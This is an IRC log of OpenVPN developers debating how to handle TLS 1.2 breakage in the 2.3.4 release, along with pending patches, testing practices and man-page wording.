<@cron2> cool 13:04 <@syzzer> so we're waiting for James then? 13:04 <@mattock> so today's main topic is TLS versioning, how it broke things, what to do about it and how this affects 2.3.4 13:04 <@mattock> james should be here shortly 13:05 -!- jamesyonan [~jamesyona@c-71-56-216-17.hsd1.co.comcast.net] has joined #openvpn-devel 13:05 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:05 < timothe> I just sent out a note with my latest findings. Not at root cause, but closer. 13:06 <@jamesyonan> hi guys 13:06 <@mattock> hi jamesyonan! 13:06 <@cron2> hi james 13:06 <@mattock> james: the topic list is here: https://community.openvpn.net/openvpn/wiki/Topics-2014-04-24 13:06 <@vpnHelper> Title: Topics-2014-04-24 – OpenVPN Community (at community.openvpn.net) 13:07 <@mattock> not really a list, just one major topic 13:07 <@mattock> I assume everyone is more or less familiar with the discussion that took place on openvpn-devel mailinglist? 13:07 < timothe> More or less... 13:08 <@mattock> I think most / all of it is here: http://thread.gmane.org/gmane.network.openvpn.devel/8585 13:08 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:09 <@mattock> could someone summarize the issue and the various fixes that were proposed? 13:09 <@syzzer> I think that the conclusion is that all the problems reported to us through the public channels can be related to TLSv1.2 adding more hashes (with different sizes) 13:09 < timothe> I can give it a stab 13:10 < timothe> Others may want to add/revise. 13:10 <@syzzer> go ahead, you've spent quite some time digging into this 13:10 < timothe> TLS versioning caused OpenVPN to start using TLSV1.2 - previously it was locked to 1.0 13:11 < timothe> It turns out that there are some sublties in 1.2 that cause breakage in unexpected places. 13:11 <@jamesyonan> while the new hashes of 1.2 are an issue, I've also seen cases where allowing 1.2 breaks connections through firewalls 13:12 < timothe> The big one is that 1.2 uses different (and larger) signatures on client certificates that are negotiated between client and server. 13:12 < timothe> There are parts of openvpn that don't support this. We know that the cryptoapi doesn't. 13:13 < timothe> There's a partially understood case in the UK that also seems to be hash-based. 13:13 < timothe> So the question is what to do. Do we unconditionally revert to 1.0 until everything is supported. Or do we do something smarter. 13:14 <@syzzer> yup 13:14 < timothe> clearly we do need to provide a means to force lower versions. 13:14 < timothe> I've written something up with more detail - it's posted off the topics wiki page. 13:15 < timothe> There are two ideas: 13:15 < timothe> 1) James's - --tls-version-max is a big hammer. I agree we should have it. 13:16 < timothe> 2) I suggested something more adaptive that would only downgrade when necessary, and would minimize the need for admin smarts and config file changes. 13:16 < timothe> I think that's the quick summary. 13:16 <@cron2> afk for a moment, need to kill^wtend one of the kids 13:17 <@plaisthos> I would prefer to have at least in 2.4 to have tls 1.2 enabled on default 13:17 <@plaisthos> I see that breaking that from 2.3.2 to 2.3.3 is not good 13:17 <@syzzer> yes, I agree we should leave master as-is and just fix bugs 13:17 <@mattock> syzzer: you mean the 2.3 branch? 13:17 < timothe> Well, this IS a bug (or bugs). 13:17 <@plaisthos> and provide some tls-max-version or something else for master 13:18 <@syzzer> mattock, no I mean leave 1.2 enabled in 2.4/master 13:18 <@mattock> ah yes, makes sense 13:18 <@mattock> so fix this problem in 2.4/master without reverting back to TLS 1.0 or whatever 13:18 <@syzzer> timothe, I totally agree, but master is instable, so I think having some rough edges there is not an issue 13:19 < timothe> Certainly just disabling 1.1 and 1.2 in 2.3 is a quick, safe fix. 13:19 <@syzzer> instable as in not meant to be perfectly stable 13:19 <@syzzer> I'd vote for just disabling 1.2 13:20 <@plaisthos> mattock: there is probably no fix without disabling 1.2 13:20 <@mattock> also, after the fixes to TLS 1.2 that go into master stabilise a bit we may reconsider backporting them to 2.3 (if it makes sense anymore at that point) 13:20 < timothe> Do we know that 1.1 doesn't break anything? James? 13:20 <@plaisthos> that is also the reason browsers waited so long to switch to tls 1.2 13:20 < timothe> We don't want a series of reversions. 13:21 <@syzzer> 1.1 is much less likely to break stuff 13:22 <@jamesyonan> I would tend to vote for not enabling tls versioning unless the directive is explicitly provided 13:22 <@jamesyonan> we can always change that policy in the future when TLS 1.2 is better supported 13:22 < timothe> (I mean in the 2.3 series.) "Less likely" doesn't go well with "stable"; if not sure, why not go all the way back to 1.0. The added security isn't all that much, right? 13:22 <@syzzer> 1.1 does bring some significant security improvements 13:23 <@syzzer> 1.2 just adds ciphers suites 13:23 < timothe> For security geeks, yes. For real world, is it worth the risk of having to say 'oops' again? 13:24 <@syzzer> well, the thing is that I haven't seen any problems that we can relate to 1.1 yet 13:25 <@jamesyonan> I've seen issues where just the act of using tls-versioning breaks stuff 13:25 <@syzzer> ah, that was what I was about to ask 13:25 < timothe> I wouldn't object to a directive that enabled 1.1, but for stable, as a customer, I would think 1.0 should be the default until 1.1 is proven innocent. 13:26 <@jamesyonan> these issues usually involve government firewalls 13:26 < timothe> We shouldn't impose an adventure on customers - at least, not on'stable' releases. 13:26 <@jamesyonan> timothe: agreed 13:27 <@syzzer> since jamesyonan actually sees problems regarding tls versioning I agree 13:27 <@cron2> so that would translate to "use James' patch to disable-by-default tls-versioning for 2.3, and go fixing it for good in 2.4"? Or "merge in both, and then go searching for a proper fix in 2.4"? 13:28 <@mattock> what does significant security improvements mean? 13:28 <@mattock> oh, sorry 13:28 <@syzzer> the protocol of 1.0 is just broken 13:29 <@mattock> (was responding to backlog) :) 13:29 <@syzzer> yes, an attack is not easy, but if you're dodging governments, that's really bad 13:30 <@mattock> what about the TLS 1.2 -related issues we've had so far 13:30 <@syzzer> but if you can't dodge governments at all using 1.2, let's just make it as hard as possible ;) 13:31 <@mattock> ... would moving to TLS 1.1 fix those? 13:31 <@jamesyonan> people can always add tls versioning if it's important to them 13:31 < timothe> 1/3 to 1/2 of the 1.2 issues are understood. 1 or two are not. We think 1.1 doesn't have them. 13:31 <@syzzer> jamesyonan: yes, which I why this should be 'good enough' for now 13:32 <@jamesyonan> OpenVPN clients can even expose the option more prominently in their UIs, so end users can decide 13:32 < timothe> I'm not for putting it in a GUI. We need to make it 'just work'. 13:33 -!- Tech-49 [~ma1com10t@host-92-20-12-238.as13285.net] has joined #openvpn-devel 13:33 <@syzzer> timothe: making it possible to forcebly enable 1.2 should be fine 13:33 <@mattock> did others have a look at Timothe's suggestion (#2 above) 13:33 <@syzzer> but I agree we should not add 'disable 1.2' buttons 13:34 < timothe> The less there is in a UI, the greater the chance that the secure choice will be made. End users really don't understand security. (I'm one, though I know more than most.) 13:34 <@syzzer> I think #2 is medium-term, in that it means we have to wait for bug reports and then go add directives in the code 13:35 < timothe> Not necessarily. We can actively go thru the code for 1.2 dependencies. 13:35 <@syzzer> yes, but I'm not sure we'll catch all the corner cases 13:35 < timothe> And it does provide a framework for 1.3 or 1.4 - in the future, we would only turn things on when they are tested... 13:36 <@syzzer> but what is tested? the TLS versioning was tested by thousands of Android clients already 13:37 < timothe> Hopefully, we learn to test better. But there is always risk; the question is how to manage it. 13:38 <@cron2> syzzer: I think the issue with the android clients might be "if they are connecting to a 2.3.2 server that does not have tls-versioning, the code is never excercised" - which might be why James saw so many more issues than plaisthos 13:38 <@syzzer> the problem here is that OpenVPN has a myriad of options, and we (or at least I) don't have time to test them all unfortunately 13:38 <@cron2> +1 - we do our best, but stuff like that ("with firewall type X in between") can not be exhaustively tested 13:39 <@syzzer> cron2: point taken 13:39 <@cron2> otoh, our corp server is running git master with ios clients since $months, so the code *is* used there, and didn't cause issues 13:39 < timothe> That argues for: (a) documenting what's tested and recommended (b) removing/deprecating marginal options (c) enlisting users who can test what the core team can't. 13:40 <@mattock> agreed 13:41 <@cron2> easier said than done. What sounds uninteresting for me ("cryptoapi on windows") is a killer feature for someone else... 13:41 < timothe> Then we get the someone else (in that case, me) to agree to test it for us. 13:41 <@cron2> and we know that we have no idea what weird (to us) setups people use "Because it works" 13:41 <@syzzer> ^ that. Still, we try to do exactly that where possible ;0 13:42 <@cron2> yep. My test framework now runs ~10 different t_client tests before I push anything :-) 13:42 <@pekster> fwiw, I did build some preview packages that I've had on bitbucket (formerly sourceforge) for a few months now, using 2.3.2 as a base with the TLS versioning 13:42 < timothe> So we ask for help. People usually will help if one asks. "Please tell us what config you are using so we can test it. By the way, can you test for us?) 13:42 <@pekster> In the future, I'm happy to publish them (or make them availbale for "official" signing if we'd like) so early-adopters can test. If it's useful. 13:43 <@cron2> I think we should just get mattock to do nightly builds of "master" and publish them :-) 13:43 <@syzzer> doesn't mattock already do something like that? 13:43 <@pekster> Sure, though beware things like pulling in snappy deps for binary-dists 13:43 <@pekster> (unless the buildsystem is doing --disable-snappy already) 13:43 <@cron2> syzzer: tbh, no idea 13:43 <@mattock> syzzer: I did at one point, then gave up 13:44 <@mattock> also, if we want to get people more involved in testing (which makes sense), we need to be able to define some precise tests they should do 13:44 <@cron2> ok, can we (please) re-focus on "what are we going to do short-term to 2.3.4-to-be, and long-term to master"? 13:44 < timothe> Back to immediate topic. Is there a decision? 13:44 <@cron2> heh :) 13:44 <@jamesyonan> why don't give tls versioning some time with early adopters then make a decision down the road when to make it the default 13:45 <@cron2> jamesyonan: so you'd opt for "disable by default in 2.3, enable by default in 2.4"? 13:45 <@cron2> (s/2.4/master/) 13:45 <@pekster> Will a 2.3.4 have an option flag then for people who want to keep it? Or will 2.3.3 have it and 2.3.4 not? 13:45 <@pekster> So long as we're clear in the release notes, I'm sort of okay either way, but removing it completely seems wrong 13:45 <@cron2> pekster: there's a patch from James on the ML to make it off-by-default, unless you do --tls-min-version 1.0, which would turn it on 13:46 <@pekster> Ah, okay. Fine by me so long as it's clarified in the release notes 13:46 <@syzzer> yes, even though I still think that is totally confusing behaviour, I vote for using james' patch 13:46 <@jamesyonan> my vote would be to apply the off-by-default patch now, then revisit before 2.4 is released 13:46 <@syzzer> it does give users the ability to enable it / test it 13:46 <@cron2> jamesyonan: apply to both 2.3 and 2.4? 13:46 < timothe> Which also needs tls-max-version to cap it at 1.1 for some. 13:47 <@cron2> (when I say "2.4" this is "what we have in master now, work in progress") 13:47 <@jamesyonan> cron2: yes 13:47 <@syzzer> 2.4 too? 13:48 <@syzzer> that gives us less test coverage 13:48 <@cron2> it would need an addition to the man page, to clarify that "option not set" = "tls 1.0, only" 13:48 <@jamesyonan> yeah, that's a good point 13:48 < timothe> Once it's in config files, the directive has to exist for the indefinite future. 13:48 <@syzzer> timothe, that can also mean ignore it if it has no meaning anymore 13:49 <@syzzer> (and issue a deprecation warning) 13:49 <@pekster> It's been discussed before, and I think long-term is gives flexibility to defining a security policy (or policy for passing whatever $appliance has Special Needs.) 13:50 <@plaisthos> IMO I think it is wrong for future OpenVPN releases to have TLS 1.0 only behaviour as default 13:50 <@plaisthos> If you don't do that for 2.4 when will we do it? 13:50 < timothe> sure, but if we say 'tls-min' means use no less than, and 'tls-max' means 'at most', those aren't ephemeral promises. I think tools deliver mechanisms; configs deliver policies. 13:50 <@cron2> plaisthos: "future" being "2.3.4" or "2.4.0"? 13:50 <@pekster> The only drawback I see is that people depending on the 2.3.3 behavior now need a new option. Manpage + release notes need to clarify any change to this as it's not-backwards-compat 13:50 <@jamesyonan> I'm okay with off-by-default patch only applied to 2.3 for now 13:50 <@plaisthos> cron2: future begin 2.4.0 13:51 <@jamesyonan> with 2.4 we can revisit before final release 13:51 <@cron2> ok, I think we seem to agree on 2.3.4 -> "off-by-default patch, with man-page explaining what happens" 13:51 <@plaisthos> Just now the browsers (Chrome and FireFOX) have turned on TLS 1.2 on by default 13:52 <@plaisthos> that will probably also help to find and fix these TLS 1.2 vs TLS 1.0 bugs 13:52 <@pekster> I agree with plaisthos on making it a core goal for 2.4 to have this on-by-default. It's a major version bump, and should provide Better Security by default, IMO 13:52 <@pekster> But, that's for a later meeting I guess :) 13:52 <@syzzer> pekster, plaisthos: +1 13:52 <@cron2> you agree what you want to see in git master "right now" and tell me what to merge where :-) 13:52 <@jamesyonan> +1 13:53 < timothe> I'm all for making 1.2 work. But it does have to work. off by default for 2.3.4 is fine with me. On by default (so we can debug) in master is my vote. 13:53 < timothe> (If I get a vote...) 13:53 <@plaisthos> jamesyonan: did you revert to tls 1.0 only in PolarSSL/OpenVPN3 as well? 13:54 <@jamesyonan> yes 13:55 <@syzzer> brb 13:55 <@jamesyonan> So I ACK on applying off-by-default patch to 2.3 only and revisiting the question before 2.4 release 13:56 * plaisthos agrees 13:56 * cron2 idly speculates whether our ACK rules permit James to ACK his own patches :-) 13:56 <@pekster> Put my name down as a feature-ACK too if you really want :P 13:57 <@cron2> nah 13:57 <@cron2> I was just being silly 13:57 <@jamesyonan> well I'm actually NACKing my own patch for master :) 13:58 <@plaisthos> jamesyonan: will you send a patch for ip_forward so can ACK that version? 13:58 <@mattock> good, a decision based on consensus with this little fighting 13:58 <@mattock> :P 13:59 <@jamesyonan> ip_forward? 13:59 <@mattock> so just to make sure I understood this correctly... we only need to add the "off by default" patch to 2.3.4, plus a man-page patch and we're done with this? 13:59 <@syzzer> ACK ;) 13:59 <@cron2> mattock: well, we still need to fix the actual problems :-) 13:59 <@mattock> of course :) 14:00 <@cron2> "we" being "lots of people, not me" 14:00 <@mattock> was that a disclaimer? 14:00 <@pekster> mattock: Ideally a "well-visible" note of this in the changelog, not just a line-item under James' patches (easy to get lost, angry users, etc) 14:00 <@cron2> mattock: no, it's just that I'm a network coder, not a crypto geek 14:00 <@plaisthos> jamesyonan: Subject: [Openvpn-devel] [PATCH 2/4] Added PIP_OPT_MASK for process_ip_header fast exit path. 14:01 <@mattock> did TLS versioning go into 2.3.3 or 2.3.2? 14:01 <@pekster> 2.3.3 14:01 <@plaisthos> 2.3.3 14:01 <@cron2> 2.3.3, brand new 14:01 <@mattock> so it has not been out there for long 14:01 <@plaisthos> which many users downloaded because of heartbleed 14:01 <@pekster> No, but I can tell you that $work is relying on this ;) 14:02 <@mattock> plaisthos: good point 14:02 <@mattock> are we done for today? 14:02 <@syzzer> when will the new release be? 14:02 <@plaisthos> I have looked at Patches list and there is nothing pressing for 2.3.4 14:02 <@mattock> I vote next monday 14:03 <@mattock> I don't think it's a good idea to release anything on Friday 14:03 <@cron2> mattock: why specifically "monday"? 14:03 <@cron2> ah 14:03 < timothe> Are there testing criteria? 14:03 <@mattock> "if it builds, ship it"? :P 14:03 <@plaisthos> compile it, ship it? 14:03 <@cron2> there's actually one patch I want to merge - --multihome on FreeBSD is broken, the patch is simple and straight-forward, and has been rotting on -devel for 4+ months now "lazy ack rules" 14:04 <@mattock> cron2: sounds good 14:04 <@mattock> timothe: would you like to be more involved in improving our testing procedures? 14:04 <@cron2> timothe: well, I have my t_client test framework which connects to a few reference servers and tests whether the basic thing ("connect, authenticate, ifconfig/route, move packets") works 14:05 <@mattock> cron2: what we could improve is the server side 14:05 <@mattock> have several different versions of openvpn running on the server-side 14:05 <@mattock> or a few at least 14:05 <@cron2> mattock: I have a test server that builds master every day, and then fires off t_client tests on a different machine 14:05 <@cron2> caught the --inetd breakage :) 14:06 <@mattock> good 14:06 < timothe> I can certainly review, but as I'm quite new to the product, I'm hardly an expert reviewer. 14:06 <@cron2> but yeah, testing could certainly be improved - more code paths tested ("I have socks and http proxy tests now"), etc. 14:06 < timothe> I expected to install it and have it work for me - but things rarely work out that way :-( 14:07 <@syzzer> I do run (basic) pkcs#11 tests for polarssl builds, I could do those for openssl too probably 14:07 <@mattock> I guess it depends on how far your needs deviate from the lowest common denomitor kind of setup 14:07 <@cron2> syzzer: that would be good. I have no idea about pkcs#11 14:07 <@mattock> perhaps a good place to start would be to document what kind of tests we're doing right now? 14:07 <@plaisthos> I let Android users test OpenVPN -master on the client side d: 14:08 <@cron2> mattock: we do need an automated windows test! 14:08 <@mattock> cron2: agreed 14:08 <@mattock> that will be interesting to setup 14:08 <@cron2> mattock: ... and I still wonder why your windows snapshots are building ok 14:08 < timothe> Yes, document. Then put a checkbox beside each one, and don't release unless all pass. That's a start... 14:09 <@mattock> I'll check if we have something to start from in our wiki... 14:09 <@syzzer> I came along this page a while ago: https://community.openvpn.net/openvpn/wiki/SettingUpBuildslave 14:09 <@vpnHelper> Title: SettingUpBuildslave – OpenVPN Community (at community.openvpn.net) 14:09 <@syzzer> I guess that needs an update ;) 14:09 <@cron2> mattock: as for the 2.3.4 release, d12fk has pushed a new gui version. We should see IV_GUI_VER now, but maybe we should test this "before monday" to make sure it actually works :-) (and I still want the "build version" in there) 14:09 <@mattock> there is something, yes, but it's very high-level, nothing that concrete: https://community.openvpn.net/openvpn/wiki/OpenVPN_QA 14:09 <@vpnHelper> Title: OpenVPN_QA – OpenVPN Community (at community.openvpn.net) 14:10 <@syzzer> I actually run Windows tests for OpenVPN-NL releases btw 14:10 <@cron2> syzzer: how do you do that? 14:10 <@mattock> guys: I will add more concrete stuff to the page above 14:10 <@syzzer> but thats using company tooling (not opensource :( ) 14:10 <@mattock> you can fill in what types of tests you're running atm 14:10 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 246 seconds] 14:10 <@cron2> plaisthos: did you get approval for coverity? 14:11 <@mattock> syzzer: re: buildslave page: yes, a guy wanted to donate an arch x64 buildslave today, so I slightly updated the page 14:11 <@mattock> it's still somewhat outdated 14:12 <@plaisthos> cron2: I have to login to check 14:12 <@plaisthos> cron2: I will check tommorrow 14:13 <@plaisthos> I don't have the credentials on this machine 14:13 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 14:13 <@mattock> I think we're done for today 14:13 <@mattock> agreed? 14:13 <@cron2> plaisthos: not yet. Two people came in in April 2014, but not you. Weird 14:14 <@cron2> mattock: semi. Plaisthos: did you have time to look at the EC patches? 14:14 <@plaisthos> mattock: Yes. I think so 14:14 <@plaisthos> cron2: 2/2 is the same as in v1 set I think 14:15 <@cron2> yeah, 2/2 is easy 14:16 <@plaisthos> syzzer: is there anything apart PolarSSL and #ifdef changed? 14:16 -!- timothe [~chatzilla@2001:4830:11a2:941:3d00:f28b:3677:42d8] has left #openvpn-devel [] 14:16 <@syzzer> plaisthos: no 14:16 <@plaisthos> + msg (M_DEBUG, "Your OpenSSL library was built without elliptic curve support." 14:16 <@plaisthos> + " Skipping ECDH parameter loading."); 14:17 <@plaisthos> are you sure that you want that in show_available_curves() and not in tls_ctx_load_ecdh_params 14:17 <@syzzer> dammit, copy-pasted that, forgot to change the msg :/ 14:18 <@plaisthos> there is no message at all in load_ecdh 14:18 <@syzzer> but it's on purpose not in tls_ctx_load_params 14:18 <@plaisthos> It would show up every start ... 14:18 <@syzzer> no, that would probably just annoy users. I believe in "only issue warning if its relevant' 14:19 <@pekster> At debug extra noise is fine (enable_debug=no by default) 14:19 <@cron2> ok, so we'll see a v3 of 1/2 then, with the the right message text :) 14:19 <@pekster> At non-debug verb levels though, I agree 14:19 * syzzer makes mental note to not submit patches after 23:30 anymore... 14:19 <@cron2> "still 2:10 hrs to go" 14:22 <@syzzer> cron2: yup 14:22 <@plaisthos> :) 14:22 <@cron2> ok, another thing that is pending 14:22 <@cron2> certificate serial numbers, in decimal or in hex 14:22 <@cron2> since it is (for openssl) a documentation issue only, I think that should also go in, and into 2.3.4 14:22 <@cron2> and we could include James' patch to make polarssl serial numbers prefixed with "x", so it's clear "these are hex" 14:22 <@cron2> (which means the documentation needs more updating, to explain that there could be both variants) 14:22 <@syzzer> ah, yes. I did think about that one last night (once again, do not submit patches after 23:30...) 14:22 <@syzzer> if we're changing the representation, it might be better to just change it to match OpenSSL behaviour 14:23 <@syzzer> putting an 'x' in front will break script too probably 14:23 < n13l> syzzer: hi, i did post patch 18:33 :-) 14:23 <@cron2> syzzer: how complicated is it to make PolarSSL spit that out in serial? 14:23 <@cron2> "5 lines" or "50 lines"? 14:23 <@syzzer> something like 20 I think 14:24 <@plaisthos> .oO(String.format("%d", Integer.parseint(serial,16))) 14:24 <@cron2> "it could be up to 20 digits" 14:24 <@syzzer> plaisthos, that actually might not be such a bad plan... 14:24 <@syzzer> the C-variant ofc ;) 14:26 <@syzzer> I'll figure it out and send a patch 14:26 <@cron2> thanks 14:26 <@plaisthos> syzzer: module the BigINt stuff going on there ... :/ 14:27 <@syzzer> n13l: hi :) sorry for not responding - other stuff needed my attention (like the current TLSv1.2 breakage) 14:27 <@cron2> with that, I think I'm fine with calling it a day 14:28 <@syzzer> good, because I have to go too :) 14:28 <@mattock> nice! 14:28 <@cron2> *wave* 14:28 <@mattock> I think I'll summarize this last section as "Discussed various pending patches. Period." :) 14:29 <@syzzer> sounds reasonable 14:29 <@syzzer> bbl :) 14:29 <@mattock> good night guys! 14:29 <@cron2> oh, and mattock needs to merge and test the installer improvements :) 14:29 <@cron2> (just looking at openvpn-build...) 14:30 <@mattock> oh yes, I do 14:30 <@mattock> shall we add them to 2.3.4? 14:30 <@mattock> provided they work ok 14:30 <@mattock> of course 14:30 <@cron2> I'd say so, I had quite a bit of troubles with users not closing the gui before upgrading 14:31 <@mattock> especially in conjunction with the heartbleed vulnerability the current installers are a bit dangerous 14:31 <@mattock> because the old SSL lib could be left lying around 14:31 <@mattock> so let's put the fixes/enhancements to 2.3.4 14:31 <@cron2> yes 14:32 <@cron2> what is $OPENVPN_GUI_VERSION used for in openvpn-build? 14:32 <@cron2> it is set to "6" but "git grep" can't find anything where it's used 14:33 <@cron2> ah, it's downloading openvpn-gui-$number.tar.gz from somewhere? Or is it building that tarball from git checkout? 14:33 <@mattock> currently it's 6, but I generated that version from openvpn-gui git master ... d12fk had not tagged the release or provided a "real" openvpn-gui-6 installer 14:33 <@mattock> it is 14:33 <@cron2> which one? 14:33 <@mattock> it is downloading a tar.gz 14:33 <@mattock> which is basically openvpn-gui dir wrapped up into tar.gz after running autoreconf 14:34 <@cron2> ok, I'm not going to test the new gui tonight... this will have to wait until I had more sleep 14:35 <@mattock> and d12fk's new GUI with the IV_GUI_VERSION thing will go into 2.3.4, right? 14:36 <@cron2> hopefully. he says he has pushed it yesterday evening, which is why I'm curious and want to test that 14:36 <@cron2> ... and figure out how to get $INSTALLER_VERSION into that 14:36 <@cron2> as 2.3.4-I001 could be broken, and 2.3.4-I002 good, with the very same gui version... 14:37 <@mattock> so embed the installer version into the IV_GUI_VERSION string? 14:38 <@cron2> yep, like a "build I002" or so (Tunnelblick does that, which I definitely like) 14:39 <@cron2> and with that -> sofa. Have a good night, all of you 14:39 <@mattock> good night! 14:39 <@plaisthos> good night 14:41 <@plaisthos> *sigh* 14:41 <@plaisthos> https://community.cyberghostvpn.com/index.php/Thread/7383-Betaversion-5-0-14-2-Android-DE/?postID=54806#post54806 14:41 <@vpnHelper> Title: Betaversion 5.0.14.2 (Android) DE - Android Beta - CyberGhost Forum (at community.cyberghostvpn.com) 14:41 <@plaisthos> probably the next client that has no source available 15:00 <@mattock> plaisthos: well, it's name is truly impressive 15:00 <@mattock> though I'm not entirely sure cybernetic organisms have souls and can become ghosts 15:00 <@mattock> but that's a minor issue 15:01 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 16:59 <@pekster> As far as that tls min/max config option goes, is it possible to declare a minimum version but not a max version? ie: to allow negotiation and set a limit on the lower bound, but not the upper bound? 17:05 <@syzzer> pekster: yes, that's currently possible too 17:05 <@syzzer> new behaviour will just that when you don't specify --tls-min, the TLS version will be fixed to 1.0 17:08 <@pekster> By "currently" you mean on master, not 2.3.3 (since there's no --tls-min in an official release yet) 17:08 <@pekster> Unless I missed something 18:02 -!- jamesyonan [~jamesyona@c-71-56-216-17.hsd1.co.comcast.net] has quit [Ping timeout: 252 seconds] 18:05 -!- Tech-49 [~ma1com10t@host-92-20-12-238.as13285.net] has left #openvpn-devel [] 19:00 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 19:48 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 246 seconds] --- Day changed Fri Apr 25 2014 01:07 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:07 -!- mode/#openvpn-devel [+o mattock_afk] by ChanServ 01:07 -!- mattock_afk is now known as mattock 01:18 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 02:06 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:06 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:08 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:12 -!- mattock is now known as mattock_afk 03:43 <@syzzer> one more patch for 2.3.4 sent to the list 03:43 <@syzzer> (and for master, ofc) 03:56 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 04:04 <@cron2> moin 04:05 <@cron2> pekster: tls-min-version is in 2.3.3, and that's where all the trouble is coming from 04:21 <@cron2> argh 04:21 <@cron2> syzzer wins this round of "knowing obscure options" 04:22 * cron2 has never heard of --remote-cert-eku 04:24 <@plaisthos> I have 04:24 <@plaisthos> that actually useful options 04:24 <@cron2> I've seen --remote-cert-tls server, but not the -eku thing :-o 04:24 <@plaisthos> is the more obscure/flexible way of saying remote-cert-tls 04:25 <@plaisthos> The --remote-cert-tls server option is equivalent to --remote- 04:25 <@plaisthos> cert-ku a0 88 --remote-cert-eku "TLS Web Server Authentication" 04:25 <@cron2> yep 04:25 <@cron2> just read up on it :) 04:32 <@cron2> plaisthos: can you ack the eku patch, then? 05:27 <@plaisthos> cron2: I have look at the code later at more detail 05:27 <@plaisthos> I just took a short look and could not figure out what the code does 06:05 -!- mattock_afk is now known as mattock 06:06 <@syzzer> it's pretty clear if you take a look at the polar function doxygen, the return value was interpreted correctly 06:06 <@syzzer> *in*correctly 06:07 <@plaisthos> syzzer: yes. I meant more the whole function not just that line 06:08 <@syzzer> ah, perfect. I'm always in favour of more thorough reviews :) 06:25 -!- mattock is now known as mattock_afk 07:30 <@pekster> cron2: Oh, `tls-version-min` -- I was grepping for the wrong option 07:52 -!- mattock_afk is now known as mattock 10:36 -!- Netsplit *.net <-> *.split quits: ender| 10:46 -!- Netsplit over, joins: ender| 10:51 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 12:39 <@cron2> warning: 16 lines applied after fixing whitespace errors. 13:17 <@cron2> syzzer: there is a discussion thread from Feb 26 2014 between you and "pietrek" about ECDH patches - is this functionality part of your patch set, or is this something else? 13:21 <@vpnHelper> RSS Update - gitrepo: Add an elliptic curve testing cert chain to the sample keys <https://github.com/OpenVPN/openvpn/commit/cdbd56ceeae4ef6352e19814447d402d0b5468c0> || Add support for elliptic curve diffie-hellmann key exchange (ECDH) <https://github.com/OpenVPN/openvpn/commit/609e8131427686adca9b4ed2db44db4aaa920a01> 13:33 <@vpnHelper> RSS Update - gitrepo: Fix man page and OSCP script: tls_serial_{n} is decimal <https://github.com/OpenVPN/openvpn/commit/959d60789b6f0bd74296600f58f626cfa9738f78> 13:45 <@cron2> sf is borked 13:46 <@cron2> I can push to one tree, and the other one tells me "insufficient permission". *sigh* 13:47 <@cron2> trying 4 times made it work... 13:50 <@plaisthos> hammer it like no tommorw ;) 13:50 <@vpnHelper> RSS Update - gitrepo: Repair --multihome on FreeBSD for IPv4 sockets. <https://github.com/OpenVPN/openvpn/commit/661d914c8732a208580b1eab167255c85da162c9> 13:50 <@cron2> on it! 13:53 <@cron2> could someone explain this sentence from openvpn.8 to me? 13:53 <@cron2> Note: clients connecting to a 13:53 <@cron2> .B \-\-multihome 13:53 <@cron2> server should always use the 13:53 <@cron2> .B \-\-nobind 13:53 <@cron2> option. 13:54 <@plaisthos> I can understand --float you don't use --multihome 13:54 <@plaisthos> but --nobind is nonsense? 13:54 <@cron2> I'll rewrite the whole section, I think... 14:01 <@cron2> http://pastebin.com/QLdzHDn3 14:01 <@cron2> plaisthos: does that make sense? 14:08 <@plaisthos> e always sent from the source address that the client's packet 14:08 <@plaisthos> was sent to. 14:08 <@plaisthos> that is a bit complicated 14:08 <@plaisthos> sent from the address is the client is talking to perhaps? 14:09 <@plaisthos> or just drop the source 14:09 <@plaisthos> that word is more confusing than helping 14:09 <@cron2> *rewording 14:09 <@cron2> (sigh, I'm too impatient, just sent the patch) 14:11 <@cron2> http://pastebin.com/1ZButGxm 14:11 <@cron2> yeah, this is better 14:12 <+krzee> --local happens automatically on tcp servers? it doesnt bind to *? 14:13 <+krzee> or just the lookup happens automatically 14:13 <@cron2> neither 14:13 <@cron2> it's TCP, so the kernel knows that there is a binding between incoming and outgoing packets 14:13 <@cron2> we get a dedicated socket for each TCP connection, while we have one socket for *all* UDP activity 14:13 <+krzee> right, but openvpn still binds to * in tcp right? 14:14 <@cron2> unless you use --local, yes 14:14 <+krzee> then i think "Note: this option is only relevant for UDP servers, for TCP this happens automatically." needs to be re-worded 14:14 <@cron2> to what? 14:14 <+krzee> http://pastebin.com/1ZButGxm 14:14 <@cron2> "for TCP this is not needed" leaves the "why"? 14:15 <+krzee> oh I agree, but the option actually still does something in tcp mode 14:15 <@cron2> no 14:15 <+krzee> it is still relevant, right? 14:15 <+krzee> it binds to the ip given in --local only, versus binding to * 14:15 <@cron2> it will do exactly nothing but set a flag that is not checked in the TCP code path :) 14:15 <@cron2> no! 14:15 <+krzee> <cron2> unless you use --local, yes 14:16 <@cron2> --local does something, --multihome does exactly nothing for TCP 14:16 <+krzee> oh im sorry i misunderstood :x 14:16 <+krzee> now i understand, and will go back to lurking =] 14:16 <@cron2> the "unless you use --local" was in reply to "binds to *" :-) 14:17 <@cron2> but yeah, one could just leave off the "for TCP..." bit 14:18 <+krzee> btw i use multihome, it is awesomeness! 14:31 <@plaisthos> the other proper solution would be of course to implement multiple server sockets :) 15:42 <@cron2> plaisthos: nah, there is pain (because it means you have to enumerate what IP addresses this particular machine has, in a portable way, and which could change during run-time of the server process) 15:42 <@cron2> there's lot of hurt in bind and ntpd doing this 15:43 <@plaisthos> yeah 15:43 <@plaisthos> I know 15:43 <@plaisthos> More like having multiple local statements in teh config 15:44 <@cron2> that would work, but won't be pretty either "add an 